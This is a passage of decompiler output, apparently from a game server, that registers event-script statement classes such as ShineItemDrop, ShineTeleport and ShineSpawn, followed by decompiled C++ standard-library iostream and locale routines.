PineEventScriptNode::ShineWhoKillMe::ShineWhoKillMe((PineEventScriptNode::ShineWhoKillMe *)v122); else v123 = 0; v124 = v1->sl_Point; if ( v124 < 0x80 ) { v1->sl_Array[v124] = v123; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v125 = operator new(0xBCu); if ( v125 ) PineEventScriptNode::ShineItemDrop::ShineItemDrop((PineEventScriptNode::ShineItemDrop *)v125); else v126 = 0; v127 = v1->sl_Point; if ( v127 < 0x80 ) { v1->sl_Array[v127] = v126; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v128 = operator new(0xBCu); if ( v128 ) PineEventScriptNode::ShineInvenSearch::ShineInvenSearch((PineEventScriptNode::ShineInvenSearch *)v128); else v129 = 0; v130 = v1->sl_Point; if ( v130 < 0x80 ) { v1->sl_Array[v130] = v129; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v131 = operator new(0xBCu); if ( v131 ) PineEventScriptNode::ShineItemCreate::ShineItemCreate((PineEventScriptNode::ShineItemCreate *)v131); else v132 = 0; v133 = v1->sl_Point; if ( v133 < 0x80 ) { v1->sl_Array[v133] = v132; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v134 = operator new(0xBCu); if ( v134 ) PineEventScriptNode::ShineItemErase::ShineItemErase((PineEventScriptNode::ShineItemErase *)v134); else v135 = 0; v136 = v1->sl_Point; if ( v136 < 0x80 ) { v1->sl_Array[v136] = v135; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v137 = operator new(0xBCu); if ( v137 ) PineEventScriptNode::ShineFindHandle::ShineFindHandle((PineEventScriptNode::ShineFindHandle *)v137); else v138 = 0; v139 = v1->sl_Point; if ( v139 < 0x80 ) { v1->sl_Array[v139] = v138; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v140 = operator new(0xBCu); if ( v140 ) PineEventScriptNode::ShineAbstatSet::ShineAbstatSet((PineEventScriptNode::ShineAbstatSet *)v140); else v141 = 0; v142 = v1->sl_Point; if ( v142 < 0x80 ) { v1->sl_Array[v142] = v141; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v143 = operator new(0xBCu); if ( v143 ) PineEventScriptNode::ShineAbstatReset::ShineAbstatReset((PineEventScriptNode::ShineAbstatReset *)v143); else v144 = 0; v145 = v1->sl_Point; if ( v145 < 0x80 ) { v1->sl_Array[v145] = v144; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v146 = operator new(0xBCu); if ( v146 ) PineEventScriptNode::ShineSuicide::ShineSuicide((PineEventScriptNode::ShineSuicide *)v146); else v147 = 0; v148 = v1->sl_Point; if ( v148 < 0x80 ) { v1->sl_Array[v148] = v147; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v149 = operator new(0xBCu); if ( v149 ) PineEventScriptNode::ShineRun::ShineRun((PineEventScriptNode::ShineRun *)v149); else v150 = 0; v151 = v1->sl_Point; if ( v151 < 0x80 ) { v1->sl_Array[v151] = v150; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v152 = operator new(0xBCu); if ( v152 ) PineEventScriptNode::ShineWalk::ShineWalk((PineEventScriptNode::ShineWalk *)v152); else v153 = 0; v154 = v1->sl_Point; if ( v154 < 0x80 ) { v1->sl_Array[v154] = v153; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v155 = operator new(0xBCu); if ( v155 ) PineEventScriptNode::ShineMapLight::ShineMapLight((PineEventScriptNode::ShineMapLight *)v155); else v156 = 0; v157 = v1->sl_Point; if ( v157 < 0x80 ) { v1->sl_Array[v157] = v156; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v158 = operator new(0xBCu); if ( v158 ) PineEventScriptNode::ShineMapFog::ShineMapFog((PineEventScriptNode::ShineMapFog *)v158); else v159 = 0; v160 = v1->sl_Point; if ( v160 < 0x80 ) { v1->sl_Array[v160] = v159; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v161 = operator new(0xBCu); if ( v161 ) PineEventScriptNode::ShineEffectObject::ShineEffectObject((PineEventScriptNode::ShineEffectObject *)v161); else v162 = 0; v163 = v1->sl_Point; if ( v163 < 0x80 ) { v1->sl_Array[v163] = v162; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v164 = operator new(0xBCu); if ( v164 ) PineEventScriptNode::ShineEffectLocate::ShineEffectLocate((PineEventScriptNode::ShineEffectLocate *)v164); else v165 = 0; v166 = v1->sl_Point; if ( v166 < 0x80 ) { v1->sl_Array[v166] = v165; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v167 = operator new(0xBCu); if ( v167 ) PineEventScriptNode::ShineAggro::ShineAggro((PineEventScriptNode::ShineAggro *)v167); else v168 = 0; v169 = v1->sl_Point; if ( v169 < 0x80 ) { v1->sl_Array[v169] = v168; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v170 = operator new(0xBCu); if ( v170 ) PineEventScriptNode::ShineMobWeaponRate::ShineMobWeaponRate((PineEventScriptNode::ShineMobWeaponRate *)v170); else v171 = 0; v172 = v1->sl_Point; if ( v172 < 0x80 ) { v1->sl_Array[v172] = v171; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v173 = operator new(0xBCu); if ( v173 ) PineEventScriptNode::ShineMobDetectRange::ShineMobDetectRange((PineEventScriptNode::ShineMobDetectRange *)v173); else v174 = 0; v175 = v1->sl_Point; if ( v175 < 0x80 ) { v1->sl_Array[v175] = v174; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v176 = operator new(0xBCu); if ( v176 ) PineEventScriptNode::ShineHeal::ShineHeal((PineEventScriptNode::ShineHeal *)v176); else v177 = 0; v178 = v1->sl_Point; if ( v178 < 0x80 ) { v1->sl_Array[v178] = v177; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v179 = operator new(0xBCu); if ( v179 ) PineEventScriptNode::ShineAnimate::ShineAnimate((PineEventScriptNode::ShineAnimate *)v179); else v180 = 0; v181 = v1->sl_Point; if ( v181 < 0x80 ) { v1->sl_Array[v181] = v180; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v182 = operator new(0xBCu); if ( v182 ) PineEventScriptNode::ShineDuplicate::ShineDuplicate((PineEventScriptNode::ShineDuplicate *)v182); else v183 = 0; v184 = v1->sl_Point; if ( v184 < 0x80 ) { v1->sl_Array[v184] = v183; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v185 = operator new(0xBCu); if ( v185 ) PineEventScriptNode::ShineWaitIdle::ShineWaitIdle((PineEventScriptNode::ShineWaitIdle *)v185); else v186 = 0; v187 = v1->sl_Point; if ( v187 < 0x80 ) { v1->sl_Array[v187] = v186; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v188 = operator new(0xBCu); if ( v188 ) PineEventScriptNode::ShineDeathCountClear::ShineDeathCountClear((PineEventScriptNode::ShineDeathCountClear *)v188); else v189 = 0; v190 = v1->sl_Point; if ( v190 < 0x80 ) { v1->sl_Array[v190] = v189; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v191 = operator new(0xBCu); if ( v191 ) PineEventScriptNode::ShineItemAttrSet::ShineItemAttrSet((PineEventScriptNode::ShineItemAttrSet *)v191); else v192 = 0; v193 = v1->sl_Point; if ( v193 < 0x80 ) { v1->sl_Array[v193] = v192; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v194 = operator new(0xBCu); if ( v194 ) PineEventScriptNode::ShineScinarioCode::ShineScinarioCode((PineEventScriptNode::ShineScinarioCode *)v194); else v195 = 0; v196 = v1->sl_Point; if ( v196 < 0x80 ) { v1->sl_Array[v196] = v195; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v197 = operator new(0xBCu); if ( v197 ) PineEventScriptNode::ShineBattleStart::ShineBattleStart((PineEventScriptNode::ShineBattleStart *)v197); else v198 = 0; v199 = v1->sl_Point; if ( v199 < 0x80 ) { v1->sl_Array[v199] = v198; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v200 = operator new(0xBCu); if ( v200 ) PineEventScriptNode::ShineBattleStop::ShineBattleStop((PineEventScriptNode::ShineBattleStop *)v200); else v201 = 0; v202 = v1->sl_Point; if ( v202 < 0x80 ) { v1->sl_Array[v202] = v201; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v203 = operator new(0xBCu); if ( v203 ) PineEventScriptNode::ShineSendKQResult::ShineSendKQResult((PineEventScriptNode::ShineSendKQResult *)v203); else v204 = 0; v205 = v1->sl_Point; if ( v205 < 0x80 ) { v1->sl_Array[v205] = v204; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v206 = operator new(0xBCu); if ( v206 ) PineEventScriptNode::ShineInvidualReward::ShineInvidualReward((PineEventScriptNode::ShineInvidualReward *)v206); else v207 = 0; v208 = v1->sl_Point; if ( v208 < 0x80 ) { v1->sl_Array[v208] = v207; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v209 = operator new(0xBCu); if ( v209 ) PineEventScriptNode::ShineReturnValue::ShineReturnValue((PineEventScriptNode::ShineReturnValue *)v209); else v210 = 0; v211 = v1->sl_Point; if ( v211 < 0x80 ) { v1->sl_Array[v211] = v210; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v212 = operator new(0xBCu); if ( v212 ) PineEventScriptNode::ShineSubLayerShift::ShineSubLayerShift((PineEventScriptNode::ShineSubLayerShift *)v212); else v213 = 0; v214 = v1->sl_Point; if ( v214 < 0x80 ) { v1->sl_Array[v214] = v213; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v215 = operator new(0xBCu); if ( v215 ) PineEventScriptNode::ShineTeleport::ShineTeleport((PineEventScriptNode::ShineTeleport *)v215); else v216 = 0; v217 = v1->sl_Point; if ( v217 < 0x80 ) { v1->sl_Array[v217] = v216; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v218 = operator new(0xBCu); if ( v218 ) PineEventScriptNode::ShineItemOwner::ShineItemOwner((PineEventScriptNode::ShineItemOwner *)v218); else v219 = 0; v220 = v1->sl_Point; if ( v220 < 0x80 ) { v1->sl_Array[v220] = v219; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v221 = operator new(0xBCu); if ( v221 ) PineEventScriptNode::ShineMobAttribute::ShineMobAttribute((PineEventScriptNode::ShineMobAttribute *)v221); else v222 = 0; v223 = v1->sl_Point; if ( v223 < 0x80 ) { v1->sl_Array[v223] = v222; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v224 = operator new(0xBCu); if ( v224 ) PineEventScriptNode::ShineObjectCollect::ShineObjectCollect((PineEventScriptNode::ShineObjectCollect *)v224); else v225 = 0; v226 = v1->sl_Point; if ( v226 < 0x80 ) { v1->sl_Array[v226] = v225; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v227 = operator new(0xBCu); if ( v227 ) PineEventScriptNode::ShineEndOfKingdomQuest::ShineEndOfKingdomQuest((PineEventScriptNode::ShineEndOfKingdomQuest *)v227); else v228 = 0; v229 = v1->sl_Point; if ( v229 < 0x80 ) { v1->sl_Array[v229] = v228; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v230 = operator new(0xBCu); if ( v230 ) PineEventScriptNode::ShineEndOfGuildTournament::ShineEndOfGuildTournament((PineEventScriptNode::ShineEndOfGuildTournament *)v230); else v231 = 0; v232 = v1->sl_Point; if ( v232 < 0x80 ) { v1->sl_Array[v232] = v231; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v233 = operator new(0xBCu); if ( v233 ) PineEventScriptNode::ShineGuildTorunamentResult::ShineGuildTorunamentResult((PineEventScriptNode::ShineGuildTorunamentResult *)v233); else v234 = 0; v235 = v1->sl_Point; if ( v235 < 0x80 ) { v1->sl_Array[v235] = v234; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v236 = operator new(0xBCu); if ( v236 ) PineEventScriptNode::ShineCostumeCreate::ShineCostumeCreate((PineEventScriptNode::ShineCostumeCreate *)v236); else v237 = 0; v238 = v1->sl_Point; if ( v238 < 0x80 ) { v1->sl_Array[v238] = v237; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v239 = operator new(0xBCu); if ( v239 ) PineEventScriptNode::ShineCostumeTakeOff::ShineCostumeTakeOff((PineEventScriptNode::ShineCostumeTakeOff *)v239); else v240 = 0; v241 = v1->sl_Point; if ( v241 < 0x80 ) { v1->sl_Array[v241] = v240; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v242 = operator new(0xBCu); if ( v242 ) PineEventScriptNode::ShineWeddingComplete::ShineWeddingComplete((PineEventScriptNode::ShineWeddingComplete *)v242); else v243 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v243); v244 = operator new(0xBCu); if ( v244 ) PineEventScriptNode::ShinePlayerWalk::ShinePlayerWalk((PineEventScriptNode::ShinePlayerWalk *)v244); else v245 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v245); v246 = operator new(0xBCu); if ( v246 ) PineEventScriptNode::ShineFindPlayer::ShineFindPlayer((PineEventScriptNode::ShineFindPlayer *)v246); else v247 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v247); v248 = operator new(0xBCu); if ( v248 ) PineEventScriptNode::ShineTeleportAll::ShineTeleportAll((PineEventScriptNode::ShineTeleportAll *)v248); else v249 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v249); v250 = operator new(0xBCu); if ( v250 ) PineEventScriptNode::ShineBriefEffect::ShineBriefEffect((PineEventScriptNode::ShineBriefEffect *)v250); else v251 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v251); v252 = operator new(0xBCu); if ( v252 ) PineEventScriptNode::ShineBanFromArea::ShineBanFromArea((PineEventScriptNode::ShineBanFromArea *)v252); else v253 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v253); v254 = operator new(0xBCu); if ( v254 ) PineEventScriptNode::ShineRegesteFlag::ShineRegesteFlag((PineEventScriptNode::ShineRegesteFlag *)v254); else v255 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v255); v256 = operator new(0xBCu); if ( v256 ) PineEventScriptNode::ShineRegesteGate::ShineRegesteGate((PineEventScriptNode::ShineRegesteGate *)v256); else v257 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v257); v258 = operator new(0xBCu); if ( v258 ) PineEventScriptNode::ShineDiceGameStart::ShineDiceGameStart((PineEventScriptNode::ShineDiceGameStart *)v258); else v259 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v259); v260 = operator new(0xBCu); if ( v260 ) PineEventScriptNode::ShineRevival::ShineRevival((PineEventScriptNode::ShineRevival *)v260); else v261 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v261); v262 = operator new(0xBCu); if ( v262 ) PineEventScriptNode::ShineSpawn::ShineSpawn((PineEventScriptNode::ShineSpawn *)v262); else v263 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v263); v264 = operator new(0xBCu); if ( v264 ) PineEventScriptNode::ShineHPSet::ShineHPSet((PineEventScriptNode::ShineHPSet *)v264); else v265 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v265); } // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B0FE4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1034: using guessed type int (__stdcall *PineEventScriptNode__StateBreak___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5B1188: using guessed type int (__stdcall *PineEventScriptNode__StateIf___vftable_)(int tr); // 5B119C: using guessed type int (__stdcall *PineEventScriptNode__StateCall___vftable_)(int tr); // 5B1288: using guessed type int (__stdcall *PineEventScriptNode__StatePrint___vftable_)(int tr); // 5B1350: using guessed type int (__stdcall *PineEventScriptNode__StatePermillage___vftable_)(int tr); // 5B1364: using guessed type int (__stdcall *PineEventScriptNode__StateAssignment___vftable_)(int tr); //----- (004A1700) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptParameterPaser::_vector_deleting_destructor_(PineEventScriptNode::ScriptParameterPaser *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004A1720) -------------------------------------------------------- void __thiscall std::basic_iostream>::basic_iostream>(std::basic_iostream > *this, std::basic_streambuf > *_Strbuf) { std::basic_iostream > *v2; // edi@1 char *v3; // esi@3 int v4; // [sp+28h] [bp+8h]@0 v2 = this; if ( v4 ) { *(_DWORD *)&this->___u0.baseclass_0.gap0[0] = &std::basic_iostream>::_vbtable_; *(_DWORD *)&this->___u0.baseclass_0.gap8[0] = &std::basic_iostream>::_vbtable_; *(_DWORD *)&this->___u0.baseclass_0.gap8[4] = &std::basic_ios>::_vftable_; } *(_DWORD *)&this->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap0[0] + 4)] = std::basic_istream>::_vftable_; this->___u0.baseclass_0._Chcount = 0; *(_DWORD *)&this->___u0.baseclass_0.gap8[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap8[0] + 4)] = &std::basic_ostream>::_vftable_; v3 = &this->___u0.baseclass_0.gap8[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap8[0] + 4)]; std::ios_base::_Init((std::ios_base *)&this->___u0.baseclass_0.gap8[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap8[0] + 4)]); *((_DWORD *)v3 + 10) = _Strbuf; *((_DWORD *)v3 + 11) = 0; v3[48] = std::basic_ios>::widen((std::basic_ios > *)v3, 32); if ( !*((_DWORD *)v3 + 10) ) std::ios_base::clear((std::ios_base *)v3, *((_DWORD *)v3 + 2) | 4, 0); *((_DWORD *)v3 + 1) = 0; *(_DWORD *)&v2->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&v2->___u0.baseclass_0.gap0[0] + 4)] = &std::basic_iostream>::_vftable_; } // 4A1720: inconsistent function type and number of purged bytes // 5B10E8: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); // 5B10EC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 5B10F0: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 5B10F4: using guessed type int (__stdcall *std__basic_iostream_char_std__char_traits_char_____vftable_)(char); //----- (004A1800) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, bool _Val) { int v6; // edx@1 std::locale *v7; // eax@3 std::numpunct *v8; // eax@3 int v9; // esi@3 std::numpunct *v10; // edi@3 unsigned int v11; // eax@4 int v12; // esi@7 std::basic_string,std::allocator > *v13; // eax@10 std::basic_string,std::allocator > *v14; // eax@12 std::ios_base *v15; // ebx@15 int v16; // eax@15 unsigned int v17; // edx@15 unsigned int v18; // esi@17 int v19; // ecx@19 std::basic_streambuf > *v20; // eax@19 void *v21; // edi@24 unsigned int v22; // ebx@27 std::ostreambuf_iterator > v23; // ST08_8@30 std::num_put > > *v24; // ST00_4@30 std::ostreambuf_iterator > *v25; // eax@32 void *v26; // [sp-4h] [bp-74h]@11 std::_Lockit thisa; // [sp+Ch] [bp-64h]@4 std::basic_streambuf > *v28; // [sp+10h] [bp-60h]@20 unsigned __int64 v29; // [sp+14h] [bp-5Ch]@26 std::num_put > > *v30; // [sp+1Ch] [bp-54h]@1 int v31; // [sp+20h] [bp-50h]@3 char v32; // [sp+24h] [bp-4Ch]@10 void *p; // [sp+28h] [bp-48h]@11 unsigned int v34; // [sp+3Ch] [bp-34h]@10 char _Str; // [sp+40h] [bp-30h]@10 void *v36; // [sp+44h] [bp-2Ch]@9 unsigned int v37; // [sp+54h] [bp-1Ch]@9 unsigned int v38; // [sp+58h] [bp-18h]@9 unsigned int cookie; // [sp+5Ch] [bp-14h]@32 int v40; // [sp+6Ch] [bp-4h]@3 v6 = _Iosbase->_Fmtfl; v30 = this; if ( !(BYTE1(v6) & 0x40) ) { ((void (__stdcall *)(std::ostreambuf_iterator > *, _DWORD, std::basic_streambuf > *, std::ios_base *, _DWORD, _DWORD))this->baseclass_0.vfptr[7].__vecDelDtor)( result, *(_DWORD *)&_Dest, _Dest._Strbuf, _Iosbase, _Fill, _Val); goto LABEL_32; } v7 = std::ios_base::getloc(_Iosbase, (std::locale *)&v31); v40 = 0; v8 = std::use_facet>(v7); v9 = v31; v10 = v8; v40 = -1; if ( v31 ) { std::_Lockit::_Lockit(&thisa, 0); v11 = *(_DWORD *)(v9 + 4); if ( v11 && v11 < 0xFFFFFFFF ) *(_DWORD *)(v9 + 4) = v11 - 1; v12 = ((*(_DWORD *)(v9 + 4) != 0) - 1) & v9; std::_Lockit::__Lockit(&thisa); if ( v12 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v12)(v12, 1); } v38 = 15; v37 = 0; LOBYTE(v36) = 0; v40 = 1; if ( _Val ) { v13 = std::numpunct::truename( v10, (std::basic_string,std::allocator > *)&v32); LOBYTE(v40) = 2; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Str, v13, 0, 0xFFFFFFFFu); LOBYTE(v40) = 1; if ( v34 < 0x10 ) goto LABEL_15; v26 = p; } else { v14 = std::numpunct::falsename( v10, (std::basic_string,std::allocator > *)&v32); LOBYTE(v40) = 3; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Str, v14, 0, 0xFFFFFFFFu); LOBYTE(v40) = 1; if ( v34 < 0x10 ) goto LABEL_15; v26 = p; } operator delete(v26); LABEL_15: v15 = _Iosbase; v16 = _Iosbase->_Wide; v17 = v37; if ( v16 <= 0 || v16 <= v37 ) v18 = 0; else v18 = v16 - v37; v19 = *(_DWORD *)&_Dest; v20 = _Dest._Strbuf; if ( (_Iosbase->_Fmtfl & 0x1C0) != 64 ) { thisa._Locktype = *(_DWORD *)&_Dest; v28 = _Dest._Strbuf; if ( v18 ) { do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&thisa, _Fill); --v18; } while ( v18 ); v17 = v37; } v19 = thisa._Locktype; v20 = v28; v18 = 0; } v21 = v36; if ( v38 < 0x10 ) v21 = &v36; v29 = __PAIR__((unsigned int)v20, v19); if ( v17 ) { v22 = v17; do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&v29, *(_BYTE *)v21); v21 = (char *)v21 + 1; --v22; } while ( v22 ); v15 = _Iosbase; } v23 = (std::ostreambuf_iterator >)v29; v24 = v30; v15->_Wide = 0; std::num_put>>::_Rep(v24, result, v23, _Fill, v18); if ( v38 >= 0x10 ) operator delete(v36); LABEL_32: __security_check_cookie(cookie); return v25; } //----- (004A1A50) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::ostreambuf_iterator>::operator_(std::ostreambuf_iterator > *this, char _Right) { std::ostreambuf_iterator > *v2; // esi@1 std::basic_streambuf > *v3; // ecx@1 char **v4; // eax@2 char **v5; // ecx@4 char *v6; // eax@4 int v7; // eax@4 v2 = this; v3 = this->_Strbuf; if ( !v3 || ((v4 = v3->_IPnext, !*v4) || *v4 >= &(*v4)[*v3->_IPcount] ? (v7 = ((int (__stdcall *)(_DWORD))v3->vfptr->overflow)((unsigned __int8)_Right)) : (--*v3->_IPcount, v5 = v3->_IPnext, v6 = *v5, ++*v5, *v6 = _Right, v7 = (unsigned __int8)_Right), v7 == -1) ) v2->___u0.baseclass_0.baseclass_0.dummy[0] = 1; return v2; } //----- (004A1AB0) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Rep(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, char _Ch, unsigned int _Count) { unsigned int v5; // edi@2 char **v6; // eax@4 int *v7; // edx@5 char **v8; // eax@6 char *v9; // ecx@6 int v10; // eax@6 std::ostreambuf_iterator > *v11; // eax@11 if ( _Count ) { v5 = _Count; do { if ( !_Dest._Strbuf || ((v6 = _Dest._Strbuf->_IPnext, !*v6) || (v7 = _Dest._Strbuf->_IPcount, *v6 >= &(*v6)[*v7]) ? (v10 = _Dest._Strbuf->vfptr->overflow(_Dest._Strbuf, (unsigned __int8)_Ch)) : (--*v7, v8 = _Dest._Strbuf->_IPnext, v9 = *v8, ++*v8, *v9 = _Ch, v10 = (unsigned __int8)_Ch), v10 == -1) ) _Dest.___u0.baseclass_0.baseclass_0.dummy[0] = 1; --v5; } while ( v5 ); } v11 = result; result->_Strbuf = _Dest._Strbuf; *(_DWORD *)&result->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Dest; return v11; } //----- (004A1B20) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::falsename(std::numpunct *this, std::basic_string,std::allocator > *result) { ((void (__stdcall *)(_DWORD))this->baseclass_0.vfptr[4].__vecDelDtor)(result); return result; } //----- (004A1B40) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::truename(std::numpunct *this, std::basic_string,std::allocator > *result) { ((void (__stdcall *)(_DWORD))this->baseclass_0.vfptr[5].__vecDelDtor)(result); return result; } //----- (004A1B60) -------------------------------------------------------- std::numpunct *__cdecl std::use_facet>(std::locale *_Loc) { void *v1; // esi@5 int v2; // edi@10 unsigned int v3; // eax@10 int _Psave; // [sp+0h] [bp-24h]@1 std::_Lockit this; // [sp+4h] [bp-20h]@2 std::_Lockit _Lock; // [sp+8h] [bp-1Ch]@1 char pExceptionObject; // [sp+Ch] [bp-18h]@8 int v9; // [sp+20h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); _Psave = std::_Facetptr>::_Psave; v9 = 0; if ( !std::numpunct::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::numpunct::id ) { ++std::locale::id::_Id_cnt; std::numpunct::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v1 = std::locale::_Getfacet(_Loc, std::numpunct::id); if ( !v1 ) { v1 = (void *)_Psave; if ( !_Psave ) { if ( std::numpunct::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v1 = (void *)_Psave; std::_Facetptr>::_Psave = _Psave; v2 = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = *(_DWORD *)(v2 + 4); if ( v3 < 0xFFFFFFFF ) *(_DWORD *)(v2 + 4) = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register((std::locale::facet *)v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::numpunct *)v1; } // 12441B50: using guessed type int std___Facetptr_std__numpunct_char_____Psave; // 1466CBF0: using guessed type int std__locale__id___Id_cnt; //----- (004A1C70) -------------------------------------------------------- unsigned int __cdecl std::numpunct::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::numpunct *v2; // esi@3 std::_Locinfo *v3; // eax@4 std::_Locinfo this; // [sp+8h] [bp-80h]@4 int v6; // [sp+84h] [bp-4h]@3 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x18u); v2 = (std::numpunct *)v1; v6 = 0; if ( v1 ) { *((_DWORD *)v1 + 1) = 0; LOBYTE(v6) = 1; *(_DWORD *)v1 = &std::numpunct::_vftable_; std::_Locinfo::_Locinfo(&this, "C"); LOBYTE(v6) = 2; std::numpunct::_Init(v2, v3); LOBYTE(v6) = 1; std::_Locinfo::__Locinfo(&this); } else { v2 = 0; } *_Ppf = (std::locale::facet *)v2; } return 4; } // 5B15A0: using guessed type int (__thiscall *std__numpunct_char____vftable_)(void *p, char); //----- (004A1D20) -------------------------------------------------------- char __thiscall std::numpunct::do_decimal_point(std::numpunct *this) { return this->_Dp; } //----- (004A1D30) -------------------------------------------------------- char __thiscall std::numpunct::do_thousands_sep(std::numpunct *this) { return this->_Kseparator; } //----- (004A1D40) -------------------------------------------------------- void *__thiscall std::numpunct::_scalar_deleting_destructor_(std::numpunct *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::numpunct::_numpunct(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004A1D60) 